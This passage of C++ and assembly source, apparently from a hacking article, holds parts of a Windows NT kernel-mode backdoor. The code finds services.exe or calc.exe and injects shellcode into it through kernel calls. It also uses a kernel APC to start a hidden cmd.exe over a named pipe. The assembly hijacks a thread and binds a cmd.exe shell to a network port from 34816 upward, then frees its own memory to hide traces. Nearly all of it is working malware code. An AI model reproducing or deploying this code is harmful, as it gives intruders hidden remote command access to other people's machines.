if ((p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString (&p->ProcessName,&ProcessName,TRUE))) { if (MajorVersion<=4) *ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId; else *ClientId = p->Threads[0].ClientId; found=1; break; } if (!(p->NextEntryDelta)) break; *pp+=p->NextEntryDelta; } while(1); NT::ExFreePool(q); return found; } VOID StartShell() { //Search ntdll.dll in memory PVOID pNTDLL=FindNT(); //Dynamicaly link to functions not exported by ntoskrnl, //but exported by ntdll.dll DYNAMIC_LOAD(ZwWriteVirtualMemory) DYNAMIC_LOAD(ZwProtectVirtualMemory) DYNAMIC_LOAD(ZwResumeThread) DYNAMIC_LOAD(ZwCreateThread) HANDLE hProcess=0,hThread; //Debug breakpoint dbgbkpt; NT::CLIENT_ID clid; //Code must be embedded into thread, which not in nonalertable wait state. //Such thread is in process services.exe, let's find it if(!FindProcess(L"services.exe"/*L"calc.exe"*/,&clid)) {dbgbkpt; return;}; NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE}; //Open process - get it's descriptor NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid); if (!hProcess) {dbgbkpt; return;}; /*NT::PROCESS_BASIC_INFORMATION pi; NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation, &pi, sizeof(pi), NULL);*/ ULONG n = sizeof_shellcode; PVOID p = 0; PVOID EntryPoint; //Create code segment - allocate memory into process context NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!p) {dbgbkpt; return;}; //*((PDWORD)(&shellcode[TID_addr]))=(DWORD)clid.UniqueThread; //Write process and thread ID into shellcode, it will be needed for //further operations with that thread *((NT::PCLIENT_ID)(&shellcode[CLID_addr]))=(NT::CLIENT_ID)clid; //Write shellcode to allocated memory ZwWriteVirtualMemory(hProcess, p, shellcode, sizeof_shellcode, 0); //Entry point is at the beginning of shellcode EntryPoint = p; //Create stack segment NT::USER_STACK stack = {0}; n = StackReserve; NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n, MEM_RESERVE, PAGE_READWRITE); if (!stack.ExpandableStackBottom) {dbgbkpt; return;}; stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom) + StackReserve; stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase) - StackCommit; n = StackCommit + PAGE_SIZE; p = PCHAR(stack.ExpandableStackBase) - n; //Create guard page NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_READWRITE); ULONG x; n = PAGE_SIZE; ZwProtectVirtualMemory(hProcess, &p, &n, PAGE_READWRITE | PAGE_GUARD, &x); //Initialize new thread context //similar to it's initialization by system NT::CONTEXT context = {CONTEXT_FULL}; context.SegGs = 0; context.SegFs = 0x38; context.SegEs = 0x20; context.SegDs = 0x20; context.SegSs = 0x20; context.SegCs = 0x18; context.EFlags = 0x3000; context.Esp = ULONG(stack.ExpandableStackBase) - 4; context.Eip = ULONG(EntryPoint); NT::CLIENT_ID cid; //Create and start thread ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &attr, hProcess, &cid, &context, &stack, TRUE); //Here i tried to make thread alertable. The try failed. /*HANDLE hTargetThread; NT::ZwOpenThread(&hTargetThread, THREAD_ALL_ACCESS, &attr, &clid); PVOID ThreadObj; NT::ObReferenceObjectByHandle(hTargetThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, &ThreadObj, NULL); *((unsigned char *)ThreadObj+0x4a)=1;*/ ZwResumeThread(hThread, 0); } VOID ShellStarter(VOID* StartShellEvent) { do if (NT::KeWaitForSingleObject(StartShellEvent,NT::Executive,NT::KernelMode,FALSE,NULL)==STATUS_SUCCESS) if (Terminating) NT::PsTerminateSystemThread(0); else StartShell(); while (1); } ----[ 8.2 - ShellAPC.cpp #include #include "ntdll.h" #include "DynLoadFromNtdll.h" #include "NtdllDynamicLoader.h" #include "NebbetCreateProcess.h" //Debug macro #if (DBG) #define dbgbkpt __asm int 3 #else #define dbgbkpt #endif //Flag guarantees that thread certainly will execute APC regardless of //it's state #define SPECIAL_KERNEL_MODE_APC 2 namespace NT { extern "C" { // Definitions for Windows NT-supplied APC routines. // These are exported in the import libraries, // but are not in NTDDK.H void KeInitializeApc(PKAPC Apc, PKTHREAD Thread, CCHAR ApcStateIndex, PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ApcMode, PVOID NormalContext); void KeInsertQueueApc(PKAPC Apc, PVOID SystemArgument1, PVOID SystemArgument2, UCHAR unknown); } } //Variant of structure SYSTEM_PROCESSES for NT4 namespace NT { typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5 ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved1[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; SYSTEM_THREADS Threads[1]; } SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4; } //Function searches process with given name. //Writes PID and TID of first thread to ClientId BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId) { NT::UNICODE_STRING ProcessName; NT::RtlInitUnicodeString(&ProcessName,process); ULONG n=0xFFFF; //Allocate some memory PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); //Request information about processes and threads //until it will fit in allocated memory. while (NT::ZwQuerySystemInformation(NT::SystemProcessesAndThreadsInformation, q, n * sizeof *q, 0)) { //If it didn't fit - free allocated memory... NT::ExFreePool(q); n*=2; //... and allocate twice bigger q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); } ULONG MajorVersion; //Request OS version NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL); //Copy pointer to SYSTEM_PROCESSES. //copy will be modified indirectly NT::PSYSTEM_PROCESSES p = NT::PSYSTEM_PROCESSES(q); //"process NOT found" - yet BOOL found=0; //Pointer to p will be used to indirect modify p. //This trick is needed to force compiler to perform arithmetic operations with p //in bytes, not in sizeof SYSTEM_PROCESSES units char** pp=(char**)&p; //Process search cycle do { //If process have nonzero number of threads (0 threads is abnormal, but possible), //has name, that matches looked for... if ((p->ThreadCount)&&(p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString(&p->ProcessName,&ProcessName,TRUE))) { //... then copy data about it to variable pointed by ClientId. //Accounted for different sizeof SYSTEM_PROCESSES in different versions of NT if (MajorVersion<=4) *ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId; else *ClientId = p->Threads[0].ClientId; //Set flag "process found" found=1; //Stop search break; } //No more processes - stop if (!(p->NextEntryDelta)) break; //Move to next process *pp+=p->NextEntryDelta; } while(1); //Free memory NT::ExFreePool(q); //Return "is the process found" flag return found; } //Generates named pipe name similar to used by API-function CreatePipe void MakePipeName(NT::PUNICODE_STRING KernelPipeName) { //For generation of unrepeating numbers static unsigned long PipeIdx; //pseudorandom number ULONG rnd; //name template wchar_t *KPNS = L"\\Device\\NamedPipe\\Win32Pipes.%08x.%08x"; //...and it's length in bytes ULONG KPNL = wcslen(KPNS)+(8-4)*2+1; //String buffer: allocated here, freed by caller wchar_t *buf; //Request system timer: KeQueryInterruptTime is here not for exact //counting out time, but for generation of pseudorandom numbers rnd = (ULONG)NT::KeQueryInterruptTime(); //Allocate memory for string buf = (wchar_t *)NT::ExAllocatePool(NT::NonPagedPool,(KPNL)*2); //Generate name: substitute numbers o template _snwprintf(buf, KPNL, KPNS, PipeIdx++, rnd); //Write buffer address and string length to KernelPipeName (initialisation) NT::RtlInitUnicodeString(KernelPipeName, buf); } extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess); extern NTSTATUS BuildAlowingSD(PVOID *sd); struct APC_PARAMETERS { NT::UNICODE_STRING KernelPipeName; ULONG ChildPID; }; //APC handler, runs in context of given thread void KMApcCallback1(NT::PKAPC Apc, NT::PKNORMAL_ROUTINE NormalRoutine, PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2) { UNREFERENCED_PARAMETER(NormalRoutine); UNREFERENCED_PARAMETER(NormalContext); dbgbkpt; //Start process with redirected I/O, SystemArgument1 is named pipe name (*(APC_PARAMETERS**)SystemArgument1)->ChildPID=execute_piped(L"\\SystemRoot\\System32\\cmd.exe", &((*(APC_PARAMETERS**)SystemArgument1)->KernelPipeName)); //Free memory occupied by APC NT::ExFreePool(Apc); //Signal about APC processing completion NT::KeSetEvent(*(NT::KEVENT**)SystemArgument2, 0, TRUE); return; } //Function starts shell process (cmd.exe) with redirected I/O. //Returns bidirectional named pipe handle in phPipe extern "C" ULONG StartShell(PHANDLE phPipe) { //_asm int 3; HANDLE hProcess=0, hThread; APC_PARAMETERS ApcParameters; //Event of APC processing completion NT::KEVENT ApcCompletionEvent; //dbgbkpt; NT::CLIENT_ID clid; //Look for process to launch shell from it's context. //That process must be always present in system if(!FindProcess(/*L"services.exe"*/L"calc.exe",&clid)) {dbgbkpt; return FALSE;}; NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE}; //Get process handle from it's PID NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid); if (!hProcess) {dbgbkpt; return FALSE;}; //Get thread handle from it's TID NT::ZwOpenThread(&hThread, THREAD_ALL_ACCESS, &attr, &clid); NT::PKTHREAD ThreadObj; //Get pointer to thread object from it's handle NT::ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, (PVOID*)&ThreadObj, NULL); NT::PKAPC Apc; ApcParameters.ChildPID=0; //Allocate memory for APC Apc = (NT::KAPC*)NT::ExAllocatePool(NT::NonPagedPool, sizeof(NT::KAPC)); //Initialize APC dbgbkpt; NT::KeInitializeApc(Apc, ThreadObj, SPECIAL_KERNEL_MODE_APC, (NT::PKKERNEL_ROUTINE)&KMApcCallback1, // kernel mode routine 0, // rundown routine 0, // user-mode routine NT::KernelMode, 0 //context ); //Initialize APC processing completion event NT::KeInitializeEvent(&ApcCompletionEvent,NT::SynchronizationEvent,FALSE); //Generate random unique named pipe name MakePipeName(&ApcParameters.KernelPipeName/*, &UserPipeName*/); PVOID sd; //Access will be read-only without it. //There's a weak place in the view of security. if (BuildAlowingSD(&sd)) return FALSE; if (myCreatePipe1(phPipe, &ApcParameters.KernelPipeName, GENERIC_READ | GENERIC_WRITE, sd, FILE_SHARE_READ | FILE_SHARE_WRITE)) return FALSE; NT::KeInsertQueueApc(Apc, &ApcParameters, &ApcCompletionEvent, 0); NT::KeWaitForSingleObject(&ApcCompletionEvent,NT::Executive,NT::KernelMode,FALSE,NULL); NT::RtlFreeUnicodeString(&ApcParameters.KernelPipeName); NT::ZwClose(hProcess); NT::ZwClose(hThread); return ApcParameters.ChildPID; } ----[ 8.3 - dummy4.asm ;Exported symbols - reference points for automated tool ;which generates C code of hex-encoded string PUBLIC Start PUBLIC EndFile PUBLIC CLID_here ;Debug flag - int 3 in the code DEBUG EQU 1 ;Falg "accept more then 1 connection" MULTIPLE_CONNECT EQU 1 ;Falg "bind to next port, if current port busy" RETRY_BIND EQU 1 .486 ; processor type .model flat, stdcall ; model of memory option casemap: none ; disable case sensivity ; includes for file include Imghdr.inc include w32.inc include WSOCK2.INC ; structure initializing ;------------------------- sSEH STRUCT OrgEsp dd ? SaveEip dd ? sSEH ENDS CLIENT_ID STRUCT UniqueProcess dd ? UniqueThread dd ? CLIENT_ID ENDS OBJECT_ATTRIBUTES STRUCT Length dd ? RootDirectory dd ? ObjectName dd ? Attributes dd ? SecurityDescriptor dd ? SecurityQualityOfService dd ? OBJECT_ATTRIBUTES ENDS ;------------------------- .code ;---------------------------------------------- MAX_API_STRING_LENGTH equ 150 ALLOCATION_GRANULARITY EQU 10000H ;---------------------------------------------- new_section: ;Macro replaces lea, correcting address for position independency laa MACRO reg, operand lea reg, operand add reg, FixupDelta ENDM ;The same, but not uses FixupDelta (autonomous) laaa MACRO reg, operand local @@delta call $+5 @@delta: sub DWORD PTR [esp], OFFSET @@delta lea reg, operand add reg, DWORD PTR [esp] add esp,4 ENDM main proc Start: IFDEF DEBUG int 3 ENDIF ;Code for evaluating self address delta: pop ebx sub ebx,OFFSET delta ;Allocate place for variables in stack enter SizeOfLocals,0 ;Save difference between load address and ImageBase mov FixupDelta,ebx ;Tables, where to write addresses of exported functions KERNEL32FunctionsTable EQU _CreateThread NTDLLFunctionsTable EQU _ZwOpenThread WS2_32FunctionsTable EQU _WSASocket ;Local variables local flag:DWORD,save_eip:DWORD,_CreateThread:DWORD,_GetThreadContext:DWORD,_SetThreadContext:DWORD,_ExitThread:DWORD,_LoadLibrary:DWORD,_CreateProcessA:DWORD,_Sleep:DWORD,_VirtualFree:DWORD,_ZwOpenThread:DWORD,_ZwAlertThread:DWORD,cxt:CONTEXT,clid:CLIENT_ID,hThread:DWORD,attr:OBJECT_ATTRIBUTES,addr:sockaddr_in,sizeofaddr:DWORD,sock:DWORD,sock2:DWORD,StartInf:STARTUPINFO,ProcInf:PROCESS_INFORMATION,_WSASocket:DWORD,_bind:DWORD,_listen:DWORD,_accept:DWORD,_WSAStartup:DWORD,_closesocket:DWORD,_WSACleanup:DWORD,wsadat:WSAdata,FixupDelta:DWORD =SizeOfLocals assume fs : nothing ;---- get ImageBase of kernel32.dll ---- lea ebx,KERNEL32FunctionsTable push ebx laa ebx,KERNEL32StringTable push ebx push 0FFFF0000h call GetDllBaseAndLoadFunctions lea ebx,NTDLLFunctionsTable push ebx laa ebx,NTDLLStringTable push ebx push 0FFFF0000h call GetDllBaseAndLoadFunctions laa edi, CLID_here push edi assume edi:ptr OBJECT_ATTRIBUTES lea edi,attr cld mov ecx,SIZE OBJECT_ATTRIBUTES xor eax,eax rep stosb lea edi,attr mov[edi].Length,SIZE OBJECT_ATTRIBUTES push edi push THREAD_ALL_ACCESS lea edi,hThread push edi IFDEF DEBUG int 3 ENDIF call _ZwOpenThread lea edi, cxt assume edi:ptr CONTEXT mov [edi].cx_ContextFlags,CONTEXT_FULL xor ebx,ebx mov eax,hThread ;there is a thread handle in EAX ;push at once for call many following functions push edi ; _SetThreadContext push eax ;-) push eax ; _ZwAlertThread ;-) push edi ; _SetThreadContext push eax ;-) push edi ; _GetThreadContext push eax call _GetThreadContext mov eax,[edi].cx_Eip mov save_eip,eax laa eax, new_thread mov [edi].cx_Eip, eax ;Self-modify code ;Save EBP to copy current stack in each new thread laa eax, ebp_value_here mov [eax],ebp laa eax, ebp1_value_here mov [eax],ebp ;Write addres of flag, that informs of "create main thread" completion laa eax, flag_addr_here lea ebx,flag mov [eax],ebx mov flag,0 call _SetThreadContext ;If thread in wait state, it will not run until it (wait) ends or alerted call _ZwAlertThread ;not works if wait is nonalertable ;Wait for main thread creation check_flag: call _Sleep,10 cmp flag,1 jnz check_flag ;Restore EIP of interupted thread mov eax, save_eip mov [edi].cx_Eip, eax call _SetThreadContext push 0 call _ExitThread ; --- This code executes in interrupted thread and creates main thread --- new_thread: IFDEF DEBUG int 3 ENDIF ebp1_value_here_2: mov ebp,0 lab_posle_ebp1_value: ORG ebp1_value_here_2+1 ebp1_value_here: ORG lab_posle_ebp1_value-main xor eax,eax push eax push eax push eax laa ebx, remote_shell push ebx push eax push eax call _CreateThread ;call _Sleep,INFINITE jmp $ remote_shell: IFDEF DEBUG int 3 ENDIF ebp_value_here_2: mov esi,0 lab_posle_ebp_value: ORG ebp_value_here_2+1 ebp_value_here: ORG lab_posle_ebp_value-main mov ecx,SizeOfLocals sub esi,ecx mov edi,esp sub edi,ecx cld rep movsb mov ebp,esp sub esp,SizeOfLocals flag_addr_here_2: mov eax,0 lab_posle_flag_addr: ORG flag_addr_here_2+1 flag_addr_here: ORG lab_posle_flag_addr-main mov DWORD PTR [eax],1 ;Load WinSock laa eax,szWSOCK32 call _LoadLibrary,eax or eax, eax jz quit ;---- get ImageBase of ws2_32.dll ---- ;I'm deviator: load at first, then as if seek :) lea ebx,WS2_32FunctionsTable push ebx laa ebx,WS2_32StringTable push ebx push eax call GetDllBaseAndLoadFunctions ;--- telnet server lea eax,wsadat push eax push 0101h call _WSAStartup xor ebx,ebx ;socket does not suit here! call _WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,ebx,ebx,ebx mov sock,eax mov addr.sin_family,AF_INET mov addr.sin_port,0088h mov addr.sin_addr,INADDR_ANY ;Look for unused port from 34816 and bind to it retry_bind: lea ebx,addr call _bind,sock,ebx,SIZE sockaddr_in IFDEF RETRY_BIND or eax, eax jz l_listen lea edx,addr.sin_port+1 inc byte ptr[edx] cmp byte ptr[edx],0 ;All ports busy... jz quit jmp retry_bind ENDIF l_listen: call _listen,sock,1 or eax, eax jnz quit ShellCycle: mov sizeofaddr,SIZE sockaddr_in lea eax,sizeofaddr push eax lea eax, addr push eax push sock call _accept mov sock2, eax RunCmd: ;int 3 ;Zero StartInf cld lea edi,StartInf xor eax,eax mov ecx,SIZE STARTUPINFO rep stosb ;Fill StartInf. Shell will be bound to socket mov StartInf.dwFlags,STARTF_USESTDHANDLES; OR STARTF_USESHOWWINDOW mov eax, sock2 mov StartInf.hStdOutput,eax mov StartInf.hStdError,eax mov StartInf.hStdInput,eax mov StartInf.cb,SIZE STARTUPINFO ;Start shell xor ebx,ebx lea eax,ProcInf push eax lea eax,StartInf push eax push ebx push ebx push CREATE_NO_WINDOW push 1 push ebx push ebx laa eax,CmdLine push eax push ebx call _CreateProcessA ;To avoid hanging sessions call _closesocket,sock2 IFDEF MULTIPLE_CONNECT jmp ShellCycle ENDIF quit: call _closesocket,sock call _WSACleanup ;Sweep traces: free memory with that code and terminate thread ;Code must not free stack because ExitThread address is there ;It may wipe (zero out) stack in future versions push MEM_RELEASE xor ebx,ebx push ebx push OFFSET Start push ebx push _ExitThread jmp _VirtualFree main endp ; ------ ROUTINES ------ ; returns NULL in the case of an error GetDllBaseAndLoadFunctions proc uses edi esi, dwSearchStartAddr:DWORD, FuncNamesTable:DWORD, FuncPtrsTable:DWORD ;---------------------------------------------- local SEH:sSEH, FuncNameEnd:DWORD,dwDllBase:DWORD,PEHeader:DWORD ; install SEH frame laaa eax, KernelSearchSehHandler push eax push fs:dword ptr[0] mov SEH.OrgEsp, esp laaa eax, ExceptCont mov SEH.SaveEip, eax mov fs:dword ptr[0], esp ; start the search mov edi, dwSearchStartAddr .while TRUE .if word ptr [edi] == IMAGE_DOS_SIGNATURE mov esi, edi add esi, [esi+03Ch] .if dword ptr [esi] == IMAGE_NT_SIGNATURE .break .endif .endif ExceptCont: sub edi, 010000h .endw mov dwDllBase,edi mov PEHeader,esi LoadFunctions: ; get the string length of the target Api mov edi, FuncNamesTable mov ecx, MAX_API_STRING_LENGTH xor al, al repnz scasb mov FuncNameEnd,edi mov ecx, edi sub ecx, FuncNamesTable ; ECX -> Api string length ; trace the export table mov edx, [esi+078h] ; EDX -> Export table add edx, dwDllBase assume edx:ptr IMAGE_EXPORT_DIRECTORY mov ebx, [edx].AddressOfNames ; EBX -> AddressOfNames array pointer add ebx, dwDllBase xor eax, eax ; eax AddressOfNames Index .repeat mov edi, [ebx] add edi, dwDllBase mov esi, FuncNamesTable push ecx ; save the api string length repz cmpsb .if zero? add esp, 4 .break .endif pop ecx add ebx, 4 inc eax .until eax == [edx].NumberOfNames ; did we found sth ? .if eax == [edx].NumberOfNames jmp ExceptContinue .endif ; find the corresponding Ordinal mov esi, [edx].AddressOfNameOrdinals add esi, dwDllBase shl eax, 1 add eax, esi movzx eax,word ptr [eax] ; get the address of the api mov edi, [edx].AddressOfFunctions shl eax, 2 add eax, dwDllBase add eax, edi mov eax, [eax] add eax, dwDllBase mov ecx,FuncNameEnd mov FuncNamesTable,ecx mov ebx,FuncPtrsTable mov DWORD PTR [ebx],eax mov esi,PEHeader cmp BYTE PTR [ecx],0 jnz LoadFunctions Quit: ; shutdown seh frame pop fs:dword ptr[0] add esp, 4 ret ExceptContinue: mov edi, dwDllBase jmp ExceptCont GetDllBaseAndLoadFunctions endp KernelSearchSehHandler PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD mov eax, pContext assume eax:ptr CONTEXT sub dword ptr [eax].cx_Edi,010000h mov eax, 0 ;ExceptionContinueExecution ret KernelSearchSehHandler ENDP KERNEL32StringTable: szCreateThread db "CreateThread",0 szGetThreadContext db "GetThreadContext",0 szSetThreadContext db "SetThreadContext",0 szExitThread db "ExitThread",0 szLoadLibrary db "LoadLibraryA",0 szCreateProcessA db "CreateProcessA",0 szSleep db "Sleep",0 szVirtualFree db "VirtualFree",0 db 0 szWSOCK32 db "WS2_32.DLL",0 WS2_32StringTable: szsocket db "WSASocketA",0 szbind db "bind",0 szlisten db "listen",0 szaccept db "accept",0 szWSAStartup db "WSAStartup",0 szclosesocket db "closesocket",0 szWSACleanup db "WSACleanup",0 db 0 NTDLLStringTable: szZwOpenThread db "ZwOpenThread",0 szZwAlertThread db "ZwAlertThread",0 db 0 CmdLine db "cmd.exe",0 ALIGN 4 CLID_here CLIENT_ID <0> ;---------------------------------------------- EndFile: end Start ----[ 8.4 - NebbetCreateProcess.cpp #include #include "DynLoadFromNtdll.h" #include "NtdllDynamicLoader.h" extern "C" { #include "SECSYS.H" } namespace NT { typedef struct _CSRSS_MESSAGE{ ULONG Unknwon1; ULONG Opcode; ULONG Status; ULONG Unknwon2; }CSRSS_MESSAGE,*PCSRSS_MESSAGE; } DYNAMIC_LOAD1(CsrClientCallServer) DYNAMIC_LOAD1(RtlDestroyProcessParameters) DYNAMIC_LOAD1(ZwWriteVirtualMemory) DYNAMIC_LOAD1(ZwResumeThread) DYNAMIC_LOAD1(ZwCreateThread) DYNAMIC_LOAD1(ZwProtectVirtualMemory) DYNAMIC_LOAD1(ZwCreateProcess) DYNAMIC_LOAD1(ZwRequestWaitReplyPort) DYNAMIC_LOAD1(ZwReadVirtualMemory) DYNAMIC_LOAD1(ZwCreateNamedPipeFile) DYNAMIC_LOAD1(LdrGetDllHandle) //Dynamic import of functions exported from ntdll.dll extern "C" void LoadFuncs() { static PVOID pNTDLL; if (!pNTDLL) { pNTDLL=FindNT(); DYNAMIC_LOAD2(CsrClientCallServer) DYNAMIC_LOAD2(RtlDestroyProcessParameters) DYNAMIC_LOAD2(ZwWriteVirtualMemory) DYNAMIC_LOAD2(ZwResumeThread) DYNAMIC_LOAD2(ZwCreateThread) DYNAMIC_LOAD2(ZwProtectVirtualMemory) DYNAMIC_LOAD2(ZwCreateProcess) DYNAMIC_LOAD2(ZwRequestWaitReplyPort) DYNAMIC_LOAD2(ZwReadVirtualMemory) DYNAMIC_LOAD2(ZwCreateNamedPipeFile) DYNAMIC_LOAD2(LdrGetDllHandle) } } //Informs CSRSS about new win32-process VOID InformCsrss(HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid) { // _asm int 3; struct CSRSS_MESSAGE { ULONG Unknown1; ULONG Opcode; ULONG Status; ULONG Unknown2; }; struct { NT::PORT_MESSAGE PortMessage; CSRSS_MESSAGE CsrssMessage; PROCESS_INFORMATION ProcessInformation; NT::CLIENT_ID Debugger; ULONG CreationFlags; ULONG VdmInfo[2]; } csrmsg = {{0}, {0}, {hProcess, hThread, pid, tid}, {0}, 0/*STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW*/, {0}}; CsrClientCallServer(&csrmsg, 0, 0x10000, 0x24); } //Initialse empty environment PWSTR InitEnvironment(HANDLE hProcess) { PVOID p=0; DWORD dummy=0; DWORD n=sizeof(dummy); DWORD m; m=n; NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &m, MEM_COMMIT, PAGE_READWRITE); ZwWriteVirtualMemory(hProcess, p, &dummy, n, 0); return PWSTR(p); } // Clone of Ntdll::RtlCreateProcessParameters... VOID RtlCreateProcessParameters(NT::PPROCESS_PARAMETERS* pp, NT::PUNICODE_STRING ImageFile, NT::PUNICODE_STRING DllPath, NT::PUNICODE_STRING CurrentDirectory, NT::PUNICODE_STRING CommandLine, ULONG CreationFlag, NT::PUNICODE_STRING WindowTitle, NT::PUNICODE_STRING Desktop, NT::PUNICODE_STRING Reserved, NT::PUNICODE_STRING Reserved2){ NT::PROCESS_PARAMETERS* lpp; ULONG Size=sizeof(NT::PROCESS_PARAMETERS); if(ImageFile) Size+=ImageFile->MaximumLength; if(DllPath) Size+=DllPath->MaximumLength; if(CurrentDirectory) Size+=CurrentDirectory->MaximumLength; if(CommandLine) Size+=CommandLine->MaximumLength; if(WindowTitle) Size+=WindowTitle->MaximumLength; if(Desktop) Size+=Desktop->MaximumLength; if(Reserved) Size+=Reserved->MaximumLength; if(Reserved2) Size+=Reserved2->MaximumLength; //Allocate the buffer.. *pp=(NT::PPROCESS_PARAMETERS)NT::ExAllocatePool(NT::NonPagedPool,Size); lpp=*pp; RtlZeroMemory(lpp,Size); lpp->AllocationSize=PAGE_SIZE; lpp->Size=sizeof(NT::PROCESS_PARAMETERS); // Unicode size will be added (if any) lpp->hStdInput=0; lpp->hStdOutput=0; lpp->hStdError=0; if(CurrentDirectory){ lpp->CurrentDirectoryName.Length=CurrentDirectory->Length; lpp->CurrentDirectoryName.MaximumLength=CurrentDirectory->MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CurrentDirectory->Buffer,CurrentDirectory->Length); lpp->CurrentDirectoryName.Buffer=(PWCHAR)lpp->Size; lpp->Size+=CurrentDirectory->MaximumLength; } if(DllPath){ lpp->DllPath.Length=DllPath->Length; lpp->DllPath.MaximumLength=DllPath->MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp->Size,DllPath->Buffer,DllPath->Length); lpp->DllPath.Buffer=(PWCHAR)lpp->Size; lpp->Size+=DllPath->MaximumLength; } if(ImageFile){ lpp->ImageFile.Length=ImageFile->Length; lpp->ImageFile.MaximumLength=ImageFile->MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp->Size,ImageFile->Buffer,ImageFile->Length); lpp->ImageFile.Buffer=(PWCHAR)lpp->Size; lpp->Size+=ImageFile->MaximumLength; } if(CommandLine){ lpp->CommandLine.Length=CommandLine->Length; lpp->CommandLine.MaximumLength=CommandLine->MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CommandLine->Buffer,CommandLine->Length); lpp->CommandLine.Buffer=(PWCHAR)lpp->Size; lpp->Size+=CommandLine->MaximumLength; } if(WindowTitle){ lpp->WindowTitle.Length=WindowTitle->Length; lpp->WindowTitle.MaximumLength=WindowTitle->MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp->Size,WindowTitle->Buffer,WindowTitle->Length); lpp->WindowTitle.Buffer=(PWCHAR)lpp->Size; lpp->Size+=WindowTitle->MaximumLength; } if(Desktop){ lpp->Desktop.Length=Desktop->Length; lpp->Desktop.MaximumLength=Desktop->MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Desktop->Buffer,Desktop->Length); lpp->Desktop.Buffer=(PWCHAR)lpp->Size; lpp->Size+=Desktop->MaximumLength; } if(Reserved){ lpp->Reserved2.Length=Reserved->Length; lpp->Reserved2.MaximumLength=Reserved->MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved->Buffer,Reserved->Length); lpp->Reserved2.Buffer=(PWCHAR)lpp->Size; lpp->Size+=Reserved->MaximumLength; } /* if(Reserved2){ lpp->Reserved3.Length=Reserved2->Length; lpp->Reserved3.MaximumLength=Reserved2->MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved2->Buffer,Reserved2->Length); lpp->Reserved3.Buffer=(PWCHAR)lpp->Size; lpp->Size+=Reserved2->MaximumLength; }*/ } VOID CreateProcessParameters(HANDLE hProcess, NT::PPEB Peb, NT::PUNICODE_STRING ImageFile, HANDLE hPipe) { NT::PPROCESS_PARAMETERS pp; NT::UNICODE_STRING CurrentDirectory; NT::UNICODE_STRING DllPath; NT::RtlInitUnicodeString(&CurrentDirectory,L"C:\\WINNT\\SYSTEM32\\"); NT::RtlInitUnicodeString(&DllPath,L"C:\\;C:\\WINNT\\;C:\\WINNT\\SYSTEM32\\"); RtlCreateProcessParameters(&pp, ImageFile, &DllPath,&CurrentDirectory, ImageFile, 0, 0, 0, 0, 0); pp->hStdInput=hPipe; pp->hStdOutput=hPipe;//hStdOutPipe; pp->hStdError=hPipe;//hStdOutPipe; pp->dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; pp->wShowWindow=SW_HIDE;//CREATE_NO_WINDOW; pp->Environment = InitEnvironment(hProcess); ULONG n = pp->Size; PVOID p = 0; NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_READWRITE); ZwWriteVirtualMemory(hProcess, p, pp, pp->Size, 0); ZwWriteVirtualMemory(hProcess, PCHAR(Peb) + 0x10, &p, sizeof p, 0); RtlDestroyProcessParameters(pp); } namespace NT { extern "C" { DWORD WINAPI RtlCreateAcl(PACL acl,DWORD size,DWORD rev); BOOL WINAPI RtlAddAccessAllowedAce(PACL,DWORD,DWORD,PSID); }} NTSTATUS BuildAlowingSD(PSECURITY_DESCRIPTOR *pSecurityDescriptor) { 